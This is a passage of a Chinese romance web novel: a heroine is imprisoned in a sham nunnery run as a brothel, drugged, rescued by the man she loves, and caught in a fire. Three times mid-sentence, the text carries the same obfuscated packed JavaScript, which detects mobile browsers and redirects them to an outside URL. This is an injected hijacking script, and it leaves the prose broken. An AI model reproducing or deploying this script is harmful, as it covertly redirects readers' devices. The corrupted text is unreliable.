为今之计,只能装作不知,寻了机会带着紫芽一起逃走,或是等明铮归来再将这其中内情告知给他。 她正想着,忽地肩头被人拍了一下。 一个妙龄女尼手上端着放了茶碗的托盘,正睁大眼睛看着她,尖声道:“喂,你敢在这里偷听!” 归梦吓了一跳,伸手去捂她的嘴已然来不及了。 屋内的人闻声被惊动,门迅速打开,灰衣人纷纷拔刀围了上来。 法净师太见到归梦颇有些意外。 为首的灰衣人眼中精光一闪:“师太,这丫头怎也到了你这里?她跟方才我送来的丫头是一起的!” 法净师太讶然道:“是么?那倒是巧了。” 她笑道:“看来这一对姊妹花注定要落到我手里呢!”说着慢慢凑近归梦,问道:“小檀越,你听到了多少?” 归梦怒目而视:“不幸得很,我一字不漏全听到了!怎么,你们若是行得正坐得端,还怕人听吗?” 灰衣人面上杀意大盛,叫道:“这丫头看着不像寻常人,,留不得了!”他举刀欲上,却被法净伸手拦住。 “谁也不许动她!就因为她气质不同凡俗,所以……她可是我将来的摇钱树呢……我这无色庵啊,就缺这么一个招牌……”法净咯咯笑着,眼中闪着兴奋的光芒,像是欣赏一个宝物一样地看着归梦。 “把她先绑起来,我自有办法降服她。”法净含笑招了招手,两个女尼上前按着她的手用麻绳捆绑起来。 归梦知道此刻人多逃脱不得,索性也不挣扎了。 法净领着两个女尼押着归梦回到之前她住的屋子。 归梦见法净在凳子上坐下,便也一屁股坐回床铺,徐徐道:“不管你抓我要做什么。我只一句,我的身份来历不是你惹得起的。你若敢动我一根头发,我家中父母哥哥们会拆了你这座破庵寺,拉你去游街!” 她说完斜眼看看法净是否有被她的话唬住,岂料法净仍是含笑望着她,很是不以为然的样子。 归梦清清嗓子,又道:“若你迷途知返将我放了,我自然免不了酬谢。你开个价吧,不论多少银钱,待我……待我朋友来寻我之时,我必然如数给你。” “说完了吗?”法净悠悠开口。 她起身走近,笑眯眯道:“放了你?我可没傻到给自己惹麻烦。横竖我已然得罪了你,你啊,就乖乖在这待着,把来这里的大官人们服侍好了。我保你舒舒服服地过好日子……” 归梦闻言一震,颤声道:“你……这无色庵,究竟是做什么的?” 法净与身旁两名年轻女尼对视一眼:“你二人将帽冠摘下来与她瞧瞧!” 那两名女尼应了一声,伸手摘下尼冠,如云黑发倾泻下来,若是换上普通女子装束,活脱脱便是两名美娇娘。 “你们……你们不是尼姑吗?”归梦有些迷惑了:“我知道,尼姑带发修行也是有的……” 法净走近一步,也摘下尼冠,头顶却是光秃一片。她弯下身子,掩唇娇笑:“小傻瓜,还不明白呢?我们这啊,明着是尼姑庵,实则是风月暗门,做那迎来送往的生意,专门接待那些个富豪士绅……” 归梦简直不敢相信,世间竟有这等诡奇秘事……佛门清净之地,竟成了藏污纳秽,暗中苟且的猎艳之所! 她这才发现这法净师太竟也生得皮肉白净,十指纤纤,身上还隐有脂粉香气。哪里像是清心寡欲的出家之人,倒似一个养尊处优的贵妇人。 她摇摇头,喃喃道:“你……你在说什么?这不可能!我要走,我要离开这里,谁也别想拦我!”说着起身便朝门口冲去,可还未跑到门前就被按倒在地。 归梦一双大眼狠狠瞪着法净,挣扎着大叫道:“放开我!你不怕那位公子回来寻我不到起疑吗?” “你放心,这里分前庵和后庵,中间有门锁住隔开。一般人绝对发现不了后庵。那日你睡着后,我便把你挪到了这后庵来。何况,他若来寻你,我便说你已然离去。他便是起疑,搜遍前庵也发现不了你,又能把我怎样?”法净眼波流转,咯咯媚笑:“我呀,巴不得他再来呢……那样神仙一般的人物,若是能在我这留下,我便又多了个聚宝盆。嗯,是了,他若再来,我非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833985|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下他不可……” 归梦气得浑身颤抖:“你……你这个假比丘尼……你不知羞耻,辱没佛门,你会遭报应的!” 法净对她的斥骂不以为意,侧首看了看门外天色,慢悠悠地将尼冠戴好,理了理佛衣,叹道:“哎呀,天已快亮了。你们两个,也该准备做早课了。” “这丫头不受教,且饿她两天。”她说着又换上那副矜持冷淡的表情,手上捻起佛珠去了。 归梦跌坐在地,手被绑缚在背后,听着门上落锁的声音,忍不住哭出声来。 一连两日,归梦水米未进,饿得头晕眼花。 她虽生性叛逆,可是幼受庭训,礼义廉耻还是深记于心。 当下她打定主意,士可杀不可辱,真到了万不得已之时,就拼个同归于尽。 夜,又长又黑。冷寂的屋子里只她一人。 若不是任性逃出家门,此生恐怕都不会遇上这样被羞辱被折磨之事。 后悔么?她心中不知是何滋味,一个人死了倒也干净,紫芽却是为她所累,才陷入这虎狼窝中。 想到这,她挣扎着起身,手被绑缚在背后早就酸麻不已。 她瞅见桌上还有一个空了的瓷碗,背着身子拿起来,朝地上摔去。她小心地摸索到一块瓷片,握在手里,拼命地割着腕上的麻绳。 不知割了多久,直累得她浑身大汗,才将双手解缚出来。手指和掌心已被碎瓷片戳破流血了。 她伸手推了推门,门果然被上锁锁死了。这间屋子并无窗户,已然没有其他出口了。 她颓然倒地,撕下佛衣外袍一角将手简单包了包。 后庵的厢房不少,夜风吹来,几阵□□飘入归梦耳中。 她双手堵住耳朵,身子紧紧蜷缩着。 明铮,明铮,你可知我陷在此处,你会来救我吗? 门外细碎的开锁声一响,归梦便警觉地睁开双眼。她手上裹着布条,掌心牢牢握着一块瓷片。 法净携着两名女尼进来,扫视一室,见归梦蹲在床角,啧啧叹道:“唉哟,如花似玉的一个美人胚子,不过两日就憔悴成这样。饿了吧?刚炖好的小米粥,快趁热喝了吧。” 她扬了扬脸,身后的一个年轻女尼端着冒着热气的粥碗上前递给归梦。 归梦眸光暗了暗,看也不看便素手一推。“咣当”,连托盘带粥碗洋洋洒洒砸了一地,险些泼到那年轻女尼身上。 她破口大骂:“你这里一饮一食都是脏的臭的!我就是饿死也不会吃!” 法净倒也不生气,只示意人将一地狼藉收拾了。 她轻叹道:“这世道。想活不容易,想死还不容易吗?可惜,我偏偏不容许你死。你莫忘了,你那同伴也在我手里,你若是不乖乖听话吃饭,那我可就……” 归梦急道:“你要杀要剐就冲我,别动紫芽!” “啧,听上去倒是姊妹情深呢……我怎舍得杀你剐你,你是这般人才,你那同伴也不差,留着你们我自是后福无穷呢!”她笑得花枝乱颤,虽然穿着一身佛衣,通身的妖娆风韵竟堪比莳花楼的女娘。 “昨夜的动静你听到了吧?”法净凑近一些,笑得放肆而暧昧。 63. 念奴娇 归梦银牙紧咬,面上不觉一红,啐道:“无耻,你不知羞!” “男欢女爱,天经地义。我知道你读过书,看不起我。可我告诉你,这无色庵中数十名女娘,全是仰赖我才在这乱世之中得以存活。我不仅让她们吃饱,还让她们穿得起绫罗绸缎,用得上胭脂花粉,还能有余钱周济家里。” 归梦秀目圆睁,听得匪夷所思。 她像看疯子一样看着法净,斥道:“荒谬!她们清清白白的女儿家,本可以踏踏实实寻个好人嫁了过安生日子,你却让她们卖笑接客,你这分明是毁了她们一生!你能用这卑鄙手段设计于我,可想而知当初是用了什么下流法子将那些女娘哄骗来此!无非是威逼利诱!偏你还能说得如此冠冕堂皇!”她腹中饥饿没有力气,说完这一段话耗费不少力气,胸口起伏不已。 “哈哈哈哈哈……”法净笑得喘不过气,像是听到了天底下最好笑的笑话一样。“哎哟,你可真是个不谙世事的小姑娘。怕是从小躺在金玉堆里长大的吧?是了是了,所以你看不见官道旁饿死的流民,看不见卖儿鬻女的贫家,更看不见易子而食的惨象!嫁个好人,过安生日子?我也想……哪个女子不想呢!不如你问问她们想不想,嗯?” 归梦看着她身边两名女尼,她们面上并无表情波动,似是早已认命,不由得心中愈发悲悯。 法净冷笑道:“我原也嫁过人,可儿子病了没钱治,女儿被卖了换粮食。到头来那臭男人还要把我卖进青楼。这世道啊,笑贫不笑娼。同样是卖,何不卖得贵一些呢?她们在我这卖,接待的都是富豪权贵,收入颇丰。若是在别处,没准一石米几吊钱就打发了……你倒是说说,我有错吗?我是不是帮了她们?”她秀目中闪过凌厉之色,满是愤愤不平。 法净自怀中掏出帕子细细拭去眼角泪痕,面色恢复如常:“要怪啊,就怪这世道。万般皆是命,半点不由人。谁教我们没投个好人家,要想吃饱喝足,只能靠自己这副身体了。” 归梦无言,她同情法净的遭遇,可也不赞成法净的做法。世道艰难,她一时也想不出有什么更好的法子能解她们的困局。 一抬眼,法净又命人送了一碗米粥来。她亲自端给归梦,微笑道:“该说的我都说了,你若是再要闹,今夜你那同伴恐怕就要去接客了。” 归梦双目通红,伸手接过粥碗,一口一口慢慢喝着。 “这就对了。你且休息着,这两日我便送些衣服首饰来,再布置一间更敞亮的厢房给你住。” 归梦口中嚼着粥粒,慢慢道:“我那同伴并不知晓我也在此处,若我顺从于你,你能不能放了她?” 法净被她逗笑了:“到嘴的肥肉,岂有让我不吃的道理?你们俩,我都要定了。” “那至少,让我见她。” “你会见到的,只是现在还不是时候。” 归梦喝完了米粥,又觉得身上十分困倦,沉沉睡去了。待她醒来,果然发觉已换到一间更宽敞舒适的厢房之中。 这米粥之中一定下了不少份量的迷药。 法净不断变着法换不同的屋子软禁她,无非是一步步在试探她,突破她的底线。 归梦从床上起身,掀开帐幔,打量着这屋子,菱花镜、梨花木妆台,雕花床、红罗帐、刺绣屏风……这些凡俗富贵之物原该是女儿的香闺之中,此时却出现在庵寺里,何其不谐,又何其讽刺! 法净让她住在这间雅致绮丽的“香闺”,用意很明显,就是要金屋藏娇,来日便在此接客营生。 她起身走到小圆桌边,拿起桌上放着的一套衣裙。 “可还中意吗?”法净站在门边笑道,说着走了过来,取过归梦手中的衣裙,轻轻抖开。蜜粉色的攒花裙子,颜色极是鲜嫩。 归梦冷哼一声:“俗。” “俗不俗气那要看什么人穿了。佛要金装人要衣装。你且留着,这些首饰……”她素手一挥,身后女尼将手上端着的一盘钗环搁在了桌上。 “你选几样中意的吧。” 归梦随手捻起一枚银质珠钗:“就这个吧。”钗尖足够锋利,不管是杀人还是自戕都足够了。 法净盯着她手中的珠钗,悠悠道:“昨日我已同你分说明白,为着你的同伴,你可莫要再生什么旁的心思。” 归梦轻蔑一笑:“是啊是啊!不过我也同你分说明白了,我的身份是你招惹不起的,你若现下放我和我的同伴离去,还来得及。” 法净衔着一丝快意与兴奋,凑近她耳旁道:“就算你是皇亲国戚,我也无谓,你的身份越高贵,我就越痛快……哈哈哈哈……”她放肆地笑着转身离去。 归梦从她的笑声中读到了汹涌的恨意。 法净恨这不平的世道,恨抛弃她的男子,恨玩弄她的权贵,也恨生来与她天壤之别的富家女。 自从换到了这间“香闺”厢房,一日三餐便定时有女尼送来。 归梦试着与她们交谈,想探听一些消息,可她们总是理也不理,似乎两人一起就是为了互相监督,避免有人跟归梦说话。 所有菜色归梦都用银钗试过,无毒。想来也是没有必要,毕竟法净还要留着自己给她赚钱。 何况,她深明医理,若非剧毒,像那寻常的蒙汗药,根本用银钗也试不出毒性。 她味同嚼蜡,不知紫芽现下如何,是否饿着肚子? 门上落锁打开,法净满面春风地款款走进。 “你好好准备着,明天夜里就有一位贵客要来!” 归梦心中咯噔一声,面上却强忍着不动声色:“什么人?” “是太守大人手下的主薄。你的运气可真好!旁人寻都寻不到这般机会!”法净眼中闪着兴奋的光芒:“不枉费我通过熟客透了消息出去。若是能笼络上主薄大人,我这无色庵自然是屹立不倒……”她喜滋滋地幻想着美梦,忽地问道:“看你的模样才刚及笄吧?是了,我还没问过你叫什么?” 她努力回忆道:“那日听那位公子似乎唤你‘孟’什么,你可是姓孟?” 归梦听她提到明铮,心中一阵烦恶,明铮被她提到都是一种亵渎,当下冷冷讥刺道:“你假扮尼姑这么久,怎么一点长进都无?横竖我都要在这无色庵中做假尼姑啦,自然是要取个法号了。俗家姓甚名谁还重要吗?” 法净一怔,慢慢弯起唇角道:“说得好。明日我会送来两套新的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853054|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛衣与尼冠,等你穿上,定然是颠倒众生。”她神色暧昧,咯咯娇笑着转身欲走。 “慢着!”归梦叫住她:“我现在就要见我的同伴。不确认她平安无事,我是不会任你摆布的。” 法净想了想:“好,那就在明日,你接客之前,让你们见上一面。” 翌日一早,法净便郑重其事地过来亲自为归梦换衣梳头。 她依在归梦身后,望着铜镜里身着宽大佛衣的归梦,满头青丝都梳起盘好藏在尼冠之中,一张素白的芙蓉秀靥,清丽脱俗。 “我说得果然不错吧,这身装束,还有你眉宇间的傲然贵气,不把那些大官人迷得晕头转向才怪呢!”她满是欣赏地打量着归梦,不住口地夸赞。 归梦回眸斜视她:“你答应我的事呢?” 法净轻轻一笑,双手击了击掌:“把她带进来。” 两名女尼推搡着一个少女走了进来。 紫芽抬眸,看清眼前的尼姑正是归梦,登时一惊:“梦娘,你……你怎也在此?”她身上是一套素色衣裙,面色如常,看起来并未受什么虐待。 归梦苦笑不语,只盯着法净。 法净近前一步,贴在归梦耳旁道:“我忘了告诉你,那位公子前日便来寻过你,叫我打发走了……你别妄想会有人能来救你们。你和你同伴的性命,都捏在你手里呢。” “你们只有一盏茶的功夫。”她说完,笑嘻嘻地带着人走了。 房中只剩下归梦与紫芽。 紫芽焦急道:“梦娘,这到底怎么回事……你怎么,怎么穿着尼姑的衣服?” 归梦听了方才法净说的话,已是万念俱灰。她扶着桌边慢慢坐下,涩声道:“紫芽,别问了。总之是我连累了你。”她紧紧握住紫芽的手:“她们对你看管可严密?你若有机会能离开此地,不必管我,自己逃走要紧!” 紫芽摇摇头:“她们只是把我锁在屋子里,什么话都不曾说,每日按时送三餐来。梦娘,这到底……” 归梦打断道:“无事。不过是这的法净师太看我有些慧根,想要强行留我下来修行罢了。”她强笑着,眼泪却不自觉地流了下来。 她没法对紫芽说出实情,只得信口胡编,瞒得一刻是一刻。 紫芽睁大双眼:“咦,竟有这等荒谬之事?”她细想一下,又觉得不对劲。 “不对啊,我是被那帮水匪送来的。他们把我送来这里一定没安好心。这师太囚禁你我,怎会只是为了要你出家呢?” 紫芽缠着归梦询问,归梦却只是不说。 房门猛地被推开。法净大声道:“时辰差不多了。你,走吧!”随之两个女尼上前便要拉走紫芽。 紫芽自是拽着归梦不愿分开。法净在旁看得不耐,喝斥着便来一道上手。 归梦看到其中一个女尼狠狠在紫芽手臂上拧了一把,心中不由得万丈火起,顾不得许多,“啪”地一声劈手扇了那女尼一个耳光。 其余三人皆愣在当场。 法净叫道:“你敢动手?”她张口便朝院外唤人。 归梦一不做二不休,又一脚重重踢在另一名女尼身上,拉着紫芽夺路而逃:“快走!” 64. 人自迷 法净伸手死死拽住归梦,归梦无法,从怀中掏出银钗便朝她刺去。 “啊——”法净吃痛撒开了手。 归梦与紫芽冲出门外,慌不择路,情急之下选了右手边一条道逃窜。 “拦住她们!”法净的怒喝声在背后响起。 身后一阵呼喊和脚步声追随而来,二人没命似的狂奔,眼看着前方就是一道角门,奔至跟前,用力一推,却是心如死灰。 这门竟是从外头锁住的。 归梦用手狠狠拍打着门,嘶声大喊:“救命啊……快来人救救我们!” 然而前无去路后有追兵,两人双脚一软,再也无力反抗。 法净的虎口被锐利的银钗尖划破,血流如注。她用手帕按着伤口,一步步走近,眼中闪过狠戾:“跑啊!怎么不跑了?我早就说过,别想逃。这可是你违背了你我之间的约定。今夜,你俩就同时接客吧……” 归梦破口大骂:“你这个毒妇,老妖婆,你等着!我若活着非要将你碎尸万段,拿去喂狗。我死了,做鬼也不会放过你……” 法净一声令下,两个粗手大脚的婆子立刻上前,扭住归梦与紫芽的双手,用一块手帕蒙住了二人的口鼻。 一股奇异的药草气息充斥了归梦的鼻间,她挣扎几下,身子微颤,便人事不知了。 乌云掩月,无色庵后庵的角门悄无声息地打开,两名仆从打着灯笼,簇拥着中等身材的锦衣男子走了进来。 法净打量一番,淡淡笑着上前:“是主簿大人吗?妾身恭候多时了。” “我姓陶。”黑夜中锦衣男子的表情昏暗不明。 “是,一切已安排妥当,请陶大人随妾身来吧。”法净招招手,两名妙尼上前,依着那“陶大人”朝香闺而去。 香闺内,绣花屏风后,红罗帐里。 归梦缓缓睁开眼,发觉口中残余淡淡药香,身子却是一点力气都使不上来。 昏迷之时,她依稀感觉到曾有温热的液体灌入她口中。法净,该死的法净,一定是她又给她灌了迷药。 她费力地想支起身子,刚支起一寸,却又无力地跌回榻上。 难道她只能这样坐以待毙了吗?门外似有脚步声,由远及近,男人女人的说笑声越来越清晰地传入她的耳中。 犹如索命的黑白无常在一点点靠近。 她几番费力挣扎起身,终是徒劳无功,急得泪水潸然而下。 “吱呀——”门开了。她呼吸一滞,心跳加剧,直快要跳出嗓子眼儿了。 “你在门外看守,不得让任何人进来。”归梦听到法净在吩咐着。又听有男人的声音打断她:“师太,你们都进来陪本官喝几杯,不必拘束,门口便让我的手下去守着。” 法净娇声应了。归梦听着她们在屏风后推杯换盏,笑语声声,只觉得胸闷无比。要死就死个痛快,何必这般折磨? 她咬咬牙,用尽力气大叫道:“臭尼姑,贼婆娘!有本事快快把我一刀杀了,莫让我在这听你们这等下流言语,污了我的耳朵!” 法净笑容一滞,歉然躬身道:“这新来的嫩丫头野性难驯,令大人见笑了。待妾身去开导开导。” 说着放下酒盏,沉着脸转过绣花屏风,掀开红罗帐,弯腰瞧着归梦,悄声道:“哟,好一个贞洁烈女。看来我不帮帮你,你是过不了这一关啦……”说着笑嘻嘻地自怀中取出一个白瓷瓶,拔出瓶塞,捏开归梦的嘴,又灌了些药水进去。 归梦摇头拼命挣扎,却仍是被灌着喝下了少许。 “咳咳……”她怒目而视,用眼神剜着法净:“你只会这一招吗?” 法净掏出手绢替她拭了拭嘴,得意道:“当然不止。你当这还是迷药吗?过得片刻你便晓得厉害了……”她掩唇笑着,将纱帐放下,又转过屏风去。 不是迷药,那是什么? 归梦想着,忽地感觉身上有一种异样的感觉开始蔓延。空虚麻痒,从脚趾头开始弥漫到全身。 屏风后传来法净的娇呼:“咦?” 紧接着一声闷哼,夹杂着椅子翻倒的奇怪声响,便听不到任何声音了。 归梦感到小腹腾起一股热力,像是一团火,瞬间点燃了她。 那是一种奇异,渴望的感觉,把她整个人的精神都吊了起来,像是被一个巨大的漩涡吸了进去,得不到满足,心底里的失落最终化成了无穷的热度。 “好热,好热……”她忍不住呻吟出声。 乌黑的星眸湿润晶亮,娇艳欲滴的红唇一开一合不知诉说着什么。 眩晕,周身炽热到眩晕。她如同汪洋中的一条小船,只能随着大海的波浪载浮载沉。心中的欲念一波又一波地侵袭过来。 尚未经人事的她不明白那是一种怎样的渴望。 归梦怔怔望着红罗帐顶,顶上的流苏花纹似乎也旋转了起来。 旋转着,旋转着,竟幻化出一个男子的笑颜。 明铮,明铮。你可知我此刻好难受…… 我好像真的看到了你……你是来救我的吗? 她伸出素手抚弄着男子面颊的轮廓,那一眉一眼,挺直的鼻梁,总是微微抿着的薄唇,笑起来却是那样动人心魄。 她呻吟着,渴望着,忍不住用滚烫的面颊去贴紧他的。这样难受仿佛疏解了一些。 于是颤抖着,如找寻救赎般地,将花瓣似的樱唇贴上了他的嘴唇。 伴随着一声低吟,这感觉像是心底遗落缺失的一块又重新弥合上了,那样完美,那样自然…… 一时间丁香辗转,琼津暗渡。 尼庵香闺内,红烛轻摇,照得床前耳鬓厮磨的一双人影分外旖旎。 明铮脑中仍有一线清明,一咬牙推开怀中女子,将她肩头的衣襟掩好,遮住春光。 归梦玉颜酡红,花唇微启,口中逸出难过的呻吟,身子不由自主地拱起,纤手攀上明铮的胸膛,将他缠得更紧。 明铮侧首见床头案上放着一个八珍兽角的小小铜炉,正袅袅冒着白烟。 他眸光一沉,狠狠一拂袖将那香炉打翻在地。 该死!原来这炉中也焚了催情香。 门开了,有人悄悄走到屏风后,恭声道:“公子,已然处置妥了。” 明铮拉下归梦勾在他脖子上的手,两根手指轻轻在她如玉皓腕上搭了搭,凝神细思,沉声道:“院子里有清热解毒的金银花,你去采一些,一钱药加三碗水熬成一碗。” 归梦醒来之时,第一反应是检查自己的衣衫,确定完好地穿在身上后才松了口气。还好,清白还未失去。 “梦娘……” 归梦一转头,看到床边守侯的紫芽,惊喜地跳下床拉住她:“紫芽,你没事了吗?” 她猛地起身站立,又是一阵天旋地转。“唉哟……”她用手扶住发昏的脑袋。 紫芽慌忙扶着她坐下,端了茶盏递过来。“梦娘快喝些水吧,明公子说你体内余毒未清,需得多饮些水。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863791|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“明铮?”归梦睁大眼睛。 “是啊,昨夜就是明公子带人把我们救出来的。如今这无色庵,已然被清扫干净了。”紫芽将茶盏塞入归梦手中。 看来昨夜并不是梦,自己当真是见着了明铮。那…… 脑海中闪过交缠相拥的画面,她忍不住晕飞双颊,奇怪,那些细节她怎地都记不清了…… 她只能确信,昨夜是他。还好是他,不是旁人。 紫芽看着归梦面色绯红,纤指握着茶盏怔怔出神,奇怪道:“梦娘,你怎么啦?” 归梦用力摇摇头,想把羞意与脑海中那些旖旎景象统统赶跑。“没什么,你快找身衣服来给我换上,我看到这身尼姑佛衣就恶心!” 紫芽转过一旁取来一套衣衫,抿嘴笑道:“梦娘瞧这是什么?” 归梦伸手翻看,竟是那日她落水时所穿的男装与披风。 紫芽道:“所幸她们浆洗干净后不曾扔掉,只是内衫中缝的金银不见了。” 归梦边换衣袍边道:“你不是说这无色庵已然被明铮带人清理了吗?那咱们的银钱自然丢不了。” 她绾好发髻便迈步出门。 果然这无色庵各个厢房均已空了。 她走到连接后庵与前庵的角门处,看见一个熟悉的身影。 “靳风!”归梦蹦跳着上前,笑道:“明铮在哪?” 靳风低头行了一礼,恭敬道:“公子在前庵庵堂中,他命我在此等候女公子,待你醒来带你前去。”说着在前引路。 归梦与紫芽随着靳风穿过黑漆角门,已到了前庵后院。但见后院中,花木扶疏,曲径通幽,当真是个禅修的好地方。 可惜了这佛门清净之地…… 前厅庵堂门口两侧分别有人把守着,靳风冲他们微微一点头,便领了归梦紫芽入内。 神龛前,观音尊者宝相庄严,垂眉慈目,仿佛看尽世间一切阴暗污秽。 下方以法净为首的一众女尼齐刷刷跪了一地。 归梦心里说不出什么滋味,只走到明铮身侧,低声道:“昨夜……多亏了你……” 明铮忽地打断她:“昨夜,多亏了陶大人仗义出手里应外合,我们才能一举捣破这无色庵。” 他侧首对身旁一名中年锦袍男子道:“陶兄,依你所见,这一干人等该如何处置?” 归梦见明铮只面对着那陶大人说话,丝毫没将她放在眼里,态度不冷不热的,不觉闷闷不乐。 那陶大人约莫而立之年,下颚一丛短须,身材瘦高,一身绛紫色锦袍穿在身上空空荡荡的,不甚合身。 陶大人笑着沉吟道:“此次全赖明兄的妙计,不如还是由明兄定夺吧。” 明铮微微一笑:“小弟不过是路经此地,陶兄是寻阳太守手下主簿,算起来便是此地的父母官,还是陶兄发话吧。” 陶大人颔首道:“好,我已命人去上报太守大人,想必就快有消息了……” 归梦忽然出声插口道:“别人都能饶过,唯独这尼姑头子法净饶不得!” 众人均转头看向她,她只狠狠瞪着法净:“我说话算数,绝不会放过你。哼,看你是要一刀两断还是三刀六洞,横竖都便宜你了!” 法净蓦地长声大笑起来:“哈哈哈哈……臭丫头,我认栽,没想到你的相好倒挺聪明,竟变着法地来救你。”她转头看向明铮:“只是我不明白,我这前后两庵隔开,端的是天衣无缝,到底哪里出了错,叫你看出了破绽?” 65. 覆云雨 明铮的眼眸温润淡然,他淡淡一笑,反问:“这庵中怎会遍植花木?乱世之中,小小庵寺,香火微弱,温饱乃是头等大事。便有沃土,也该留着种些菜蔬。”顿了顿,他补了句:”我原该第一次来时便想到的。否则也不至于耽搁了这几日。“ 法净恍然,目中透出佩服和懊恼之色,她哑声道:“好好,亏你心细如尘。只是……你们别高兴得太早了。你们当我这无色庵为何能在这柴桑县存活了五年?” 她咯咯笑出声:“走着瞧吧……” 紫芽攥紧了归梦的手,恼道:“这婆娘死到临头还如此嚣张!” 突然间,一阵淡淡烟气随风飘进了庵堂。 门口的看守慌张来报:“庵门外不知怎地竟烧起来了!火势极大,已然堵住庵口出不去了!” 法净花容失色,一下子坐倒:“不,不会……不可能!” 明铮平静而悲悯地看着她,问道:“你的靠山便是柴桑县的县令大人,是吗?” 法净厉声大笑,笑哑了嗓子,声音赫赫如鬼魅:“被你猜到了!何止是县令,就连寻阳郡的太守大人也做过我无色庵的座上宾呢,哈哈哈哈……都说婊子无情,依我看这些臭男人真正无情无义。平素道貌岸然,人财两得。如今事情捅破了,便要弃我如敝屣!哈哈哈哈……真好笑……” 再明白不过了。柴桑县令与太守相互勾结,把无色庵当作敛财与消遣淫乐的去处。如今一朝事发,便要彻底除掉无色庵。 陶大人道:“明兄,莫与她多说了,先离开此地是正经。” 明铮温声对地上惶惶不安的一众女尼道:“你们可知除了前庵那道门,还有哪里可以出去?” 女尼们俱摇摇头:“我们在此三四年了,不知还有别的出口。即使有,也只有法净知道。” 风吹入户,院子里熊熊烈焰已经烧了起来。 归梦一急,拧身走到法净面前,重重甩了她一个耳光:“快说!还有没有别的出口!说了我们就放了你!” 法净被打得一怔,随即笑得状如疯魔,惨白的一张脸阴恻恻的:“我不知道,没有出口……哈哈哈,那就大家一齐烧死吧!所有人都给我陪葬,统统烧死,哈哈哈……” 明铮当机立断:“先去后庵避一下火势。”说着执起归梦的手,又让靳风看顾好紫芽。陶大人与两名长随领着数十名女尼一齐冲了出去。 众人冒着浓烟直穿过角门,方才驻足。回望前庵那冲天的火势,不觉心有余悸。 归梦看了看众尼身后,问道:“法净呢?” 一名年轻女尼答道:“她疯疯癫癫的,怎么拉也不肯走。只好随她去了。” 明铮突然道:“你们在此等着,我去救她。” 归梦惊呼:“你疯了吗?要不是她……” 明铮沉声道:“不论她如何做恶,至少她总是个人。只要是人,我便不能眼睁睁看她被活活烧死。”他说的斩钉截铁,毫无犹疑。 说着便将外袍解下,在墙角的水缸中浸湿了,转身又朝前庵冲去。 眼见明铮的身影消失在滚滚浓烟中,归梦急得直跺脚,眼泪不自觉地流了下来。 “明铮,明铮,你到底是什么样的人?明明你那么无情,冷漠,现在又不顾自己的性命,要去救那个恶尼……” 一旁的陶大人叹道:“明兄是我陶靖生平仅见的好男儿大丈夫。‘朝与仁义生,夕死复何求’。我陶靖今生能与他结识为友,死而无憾。” 靳风亦忍不住对归梦道:“亏女公子你与公子相识那么久,竟还不了解他!此次若不是公子暗中护持,你们早在那旷野的土祠堂便被劫了。又怎会只丢了一匹马?还有在那薛镇的小客栈,若不是他命我夜里防备着,你们恐怕早被贼人谋财害命。他面上拒你于千里。只因他胸有丘壑,他不能如你那般任性。他心中的苦闷,肩上的重担,又有谁知?”说着,忍不住用手抹了一把眼泪,大声朝前庵喊道:“公子,你快回来!你千万不可有事!” 归梦闻言,足下一软,坐倒在地。 她喃喃自语:“这是什么意思?他早知我在跟着他,却不揭穿,还要暗中护持着我,救我……难道,难道他心里并非如他嘴上那么无情?” 火势越来越大,越来越猛。 后庵的围墙外竟然也烧成了一片火海。 看来那些人已猜到他们退守到后庵,连后庵也一块烧了。 此刻全无退路,众人只能聚集在空旷处,被浓烟和热浪呛得连连咳嗽。 陶靖叫道:“大家快用手帕沾湿了掩住口鼻,免得被灼伤气道!” 归梦死死盯着通往前庵的角门,甬道那里浓烟一片,早就看不清里面的情形。 明铮仍未出来。 紫芽用湿手绢给归梦掩住口鼻,却被归梦一把推开。她泣声道:“他若回不来,我也不想活了!” 轰隆一声巨响,原来是前庵的庵堂已然烧毁坍塌。 那声音如敲在归梦心上,她眼前一黑,直欲晕倒。 陶靖失声道:“明兄——” 靳风突然扑地跪倒,朝着那角门的方向拜了下去,留着泪狠狠抽了自己一个耳光。 紫芽也忍不住哭出声:“明公子……” 归梦怔怔出神,只觉天地似乎都已经失去了颜色,没有了声响。四周热浪翻腾,烟雾缭绕,熏得她头昏眼花,她也已经感受不到痛苦了。 她麻木地站起身:“明铮,活着的时候你一直在拒绝我。我就不信……难道到死你都不肯接受我!”她说着,突然迈开脚步,狂奔向角门。 靳风与紫芽一时反应不过来,竟没能拉住她,待要追上前,归梦的身子已经投入了火窟之中。 紫芽花容失色,惨呼道:“梦娘,回来!你不能死,不能死!” 可归梦丝毫不曾回头,倔强的身影消失在了浓烟滚滚之中。 